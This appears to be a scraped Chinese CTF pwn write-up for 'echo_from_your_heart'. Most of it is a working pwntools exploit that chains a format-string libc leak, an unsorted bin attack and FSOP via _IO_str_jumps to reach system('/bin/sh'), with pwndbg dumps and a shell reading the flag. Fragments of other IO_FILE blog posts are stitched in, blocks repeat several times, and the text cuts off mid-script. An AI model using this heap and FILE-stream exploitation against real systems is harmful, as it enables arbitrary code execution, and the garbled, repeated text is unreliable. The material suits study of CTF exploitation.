0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax
关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi
from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + 